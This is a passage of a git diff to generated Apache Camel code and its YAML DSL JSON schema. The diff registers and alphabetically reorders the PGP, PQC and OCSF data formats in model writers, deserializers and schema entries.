doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -1963,8 +1965,6 @@ protected void doWriteUnmarshalDefinition(String name, UnmarshalDefinition def) case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -2277,8 +2277,10 @@ protected void doWriteDataFormatsDefinition(String name, DataFormatsDefinition d case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3454,7 +3456,10 @@ protected void doWriteDataFormatTransformerDefinition(String name, DataFormatTra case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3468,7 +3473,6 @@ protected void doWriteDataFormatTransformerDefinition(String name, DataFormatTra case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); diff --git a/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java b/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java index aab9ec7671d58..99d4eb7779d4a 100644 --- a/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java +++ b/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java @@ -1184,6 +1184,8 @@ protected void doWriteMarshalDefinition(String name, MarshalDefinition def) thro case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -1197,8 +1199,6 @@ protected void doWriteMarshalDefinition(String name, MarshalDefinition def) thro case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -1950,6 +1950,8 @@ protected void doWriteUnmarshalDefinition(String name, UnmarshalDefinition def) case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -1963,8 +1965,6 @@ protected void doWriteUnmarshalDefinition(String name, UnmarshalDefinition def) case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); - case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); @@ -2277,8 +2277,10 @@ protected void doWriteDataFormatsDefinition(String name, DataFormatsDefinition d case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3454,7 +3456,10 @@ protected void doWriteDataFormatTransformerDefinition(String name, DataFormatTra case "JsonApiDataFormat" -> doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v); case "LZFDataFormat" -> doWriteLZFDataFormat("lzf", (LZFDataFormat) v); case "MimeMultipartDataFormat" -> doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v); + case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf", (OcsfDataFormat) v); case "ParquetAvroDataFormat" -> doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v); + case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); + case "PQCDataFormat" -> doWritePQCDataFormat("pqc", (PQCDataFormat) v); case "ProtobufDataFormat" -> doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v); case "RssDataFormat" -> doWriteRssDataFormat("rss", (RssDataFormat) v); case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks", (SmooksDataFormat) v); @@ -3468,7 +3473,6 @@ protected void doWriteDataFormatTransformerDefinition(String name, DataFormatTra case "UniVocityFixedDataFormat" -> doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v); case "UniVocityTsvDataFormat" -> doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v); case "XMLSecurityDataFormat" -> doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v); - case "PGPDataFormat" -> doWritePGPDataFormat("pgp", (PGPDataFormat) v); case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml", (YAMLDataFormat) v); case "ZipDeflaterDataFormat" -> doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v); case "ZipFileDataFormat" -> doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v); diff --git a/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java b/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java index db0750c4bd7f6..bb4469e4d9775 100644 --- a/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java +++ b/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java @@ -3095,8 +3095,10 @@ protected boolean setProperty(DataFormatDefinition target, String propertyKey, @YamlProperty(name = "lzf", type = "object:org.apache.camel.model.dataformat.LZFDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "mimeMultipart", type = "object:org.apache.camel.model.dataformat.MimeMultipartDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "name", type = "string", description = "Set the transformer name under which the transformer gets referenced when specifying the input/output data type on routes. If you specify a transformer name that matches a data type scheme like 'csv' the transformer will be picked up for all of 'csv:' from/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists.", displayName = "Name"), + @YamlProperty(name = "ocsf", type = "object:org.apache.camel.model.dataformat.OcsfDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "parquetAvro", type = "object:org.apache.camel.model.dataformat.ParquetAvroDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "pgp", type = "object:org.apache.camel.model.dataformat.PGPDataFormat", oneOf = "dataFormatType"), + @YamlProperty(name = "pqc", type = "object:org.apache.camel.model.dataformat.PQCDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "protobuf", type = "object:org.apache.camel.model.dataformat.ProtobufDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "rss", type = "object:org.apache.camel.model.dataformat.RssDataFormat", oneOf = "dataFormatType"), @YamlProperty(name = "scheme", type = "string", description = "Set a scheme name supported by the transformer. If you specify 'csv', the transformer will be picked up for all of 'csv' from/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists.", displayName = "Scheme"), @@ -3277,11 +3279,26 @@ protected boolean setProperty(DataFormatTransformerDefinition target, String pro target.setDataFormatType(val); break; } + case "ocsf": { + org.apache.camel.model.dataformat.OcsfDataFormat val = asType(node, org.apache.camel.model.dataformat.OcsfDataFormat.class); + target.setDataFormatType(val); + break; + } case "parquetAvro": { org.apache.camel.model.dataformat.ParquetAvroDataFormat val = asType(node, org.apache.camel.model.dataformat.ParquetAvroDataFormat.class); target.setDataFormatType(val); break; } + case "pgp": { + org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); + target.setDataFormatType(val); + break; + } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + target.setDataFormatType(val); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); target.setDataFormatType(val); @@ -3347,11 +3364,6 @@ protected boolean setProperty(DataFormatTransformerDefinition target, String pro target.setDataFormatType(val); break; } - case "pgp": { - org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); - target.setDataFormatType(val); - break; - } case "yaml": { org.apache.camel.model.dataformat.YAMLDataFormat val = asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class); target.setDataFormatType(val); @@ -3431,8 +3443,10 @@ protected boolean setProperty(DataFormatTransformerDefinition target, String pro @YamlProperty(name = "jsonApi", type = "object:org.apache.camel.model.dataformat.JsonApiDataFormat"), @YamlProperty(name = "lzf", type = "object:org.apache.camel.model.dataformat.LZFDataFormat"), @YamlProperty(name = "mimeMultipart", type = "object:org.apache.camel.model.dataformat.MimeMultipartDataFormat"), + @YamlProperty(name = "ocsf", type = "object:org.apache.camel.model.dataformat.OcsfDataFormat"), @YamlProperty(name = "parquetAvro", type = "object:org.apache.camel.model.dataformat.ParquetAvroDataFormat"), @YamlProperty(name = "pgp", type = "object:org.apache.camel.model.dataformat.PGPDataFormat"), + @YamlProperty(name = "pqc", type = "object:org.apache.camel.model.dataformat.PQCDataFormat"), @YamlProperty(name = "protobuf", type = "object:org.apache.camel.model.dataformat.ProtobufDataFormat"), @YamlProperty(name = "rss", type = "object:org.apache.camel.model.dataformat.RssDataFormat"), @YamlProperty(name = "smooks", type = "object:org.apache.camel.model.dataformat.SmooksDataFormat"), @@ -3751,6 +3765,16 @@ protected boolean setProperty(DataFormatsDefinition target, String propertyKey, target.setDataFormats(existing); break; } + case "ocsf": { + org.apache.camel.model.dataformat.OcsfDataFormat val = asType(node, org.apache.camel.model.dataformat.OcsfDataFormat.class); + java.util.List existing = target.getDataFormats(); + if (existing == null) { + existing = new java.util.ArrayList<>(); + } + existing.add(val); + target.setDataFormats(existing); + break; + } case "parquetAvro": { org.apache.camel.model.dataformat.ParquetAvroDataFormat val = asType(node, org.apache.camel.model.dataformat.ParquetAvroDataFormat.class); java.util.List existing = target.getDataFormats(); @@ -3771,6 +3795,16 @@ protected boolean setProperty(DataFormatsDefinition target, String propertyKey, target.setDataFormats(existing); break; } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + java.util.List existing = target.getDataFormats(); + if (existing == null) { + existing = new java.util.ArrayList<>(); + } + existing.add(val); + target.setDataFormats(existing); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); java.util.List existing = target.getDataFormats(); @@ -9437,6 +9471,16 @@ protected boolean setProperty(MarshalDefinition target, String propertyKey, target.setDataFormatType(val); break; } + case "pgp": { + org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); + target.setDataFormatType(val); + break; + } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + target.setDataFormatType(val); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); target.setDataFormatType(val); @@ -9502,16 +9546,6 @@ protected boolean setProperty(MarshalDefinition target, String propertyKey, target.setDataFormatType(val); break; } - case "pgp": { - org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); - target.setDataFormatType(val); - break; - } - case "pqc": { - org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); - target.setDataFormatType(val); - break; - } case "yaml": { org.apache.camel.model.dataformat.YAMLDataFormat val = asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class); target.setDataFormatType(val); @@ -19627,6 +19661,16 @@ protected boolean setProperty(UnmarshalDefinition target, String propertyKey, target.setDataFormatType(val); break; } + case "pgp": { + org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); + target.setDataFormatType(val); + break; + } + case "pqc": { + org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); + target.setDataFormatType(val); + break; + } case "protobuf": { org.apache.camel.model.dataformat.ProtobufDataFormat val = asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class); target.setDataFormatType(val); @@ -19692,16 +19736,6 @@ protected boolean setProperty(UnmarshalDefinition target, String propertyKey, target.setDataFormatType(val); break; } - case "pgp": { - org.apache.camel.model.dataformat.PGPDataFormat val = asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class); - target.setDataFormatType(val); - break; - } - case "pqc": { - org.apache.camel.model.dataformat.PQCDataFormat val = asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class); - target.setDataFormatType(val); - break; - } case "yaml": { org.apache.camel.model.dataformat.YAMLDataFormat val = asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class); target.setDataFormatType(val); diff --git a/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json b/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json index 7ca5baed769af..8b9f4ce3b1c58 100644 --- a/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json +++ b/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json @@ -10259,12 +10259,18 @@ "mimeMultipart" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.MimeMultipartDataFormat" }, + "ocsf" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.OcsfDataFormat" + }, "parquetAvro" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.ParquetAvroDataFormat" }, "pgp" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PGPDataFormat" }, + "pqc" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PQCDataFormat" + }, "protobuf" : { "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.ProtobufDataFormat" }, @@ -16485,10 +16491,14 @@ "required" : [ "lzf" ] }, { "required" : [ "mimeMultipart" ] + }, { + "required" : [ "ocsf" ] }, { "required" : [ "parquetAvro" ] }, { "required" : [ "pgp" ] + }, { + "required" : [ "pqc" ] }, { "required" : [ "protobuf" ] }, { @@ -16739,6 +16749,14 @@ "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.MimeMultipartDataFormat" } } + }, { + "type" : "object", + "required" : [ "ocsf" ], + "properties" : { + "ocsf" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.OcsfDataFormat" + } + } }, { "type" : "object", "required" : [ "parquetAvro" ], @@ -16755,6 +16773,14 @@ "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PGPDataFormat" } } + }, { + "type" : "object", + "required" : [ "pqc" ], + "properties" : { + "pqc" : { + "$ref" : "#/items/definitions/org.apache.camel.model.dataformat.PQCDataFormat" + } + } }, { "type" : "object", "required" : [ "protobuf" ], @@ -16934,8 +16960,10 @@ "jsonApi" : { }, "lzf" : { }, "mimeMultipart" : { }, + "ocsf" : { }, "parquetAvro" : { }, "pgp" : { }, + "pqc" : { }, "protobuf" : { }, "rss" : { }, "smooks" : { },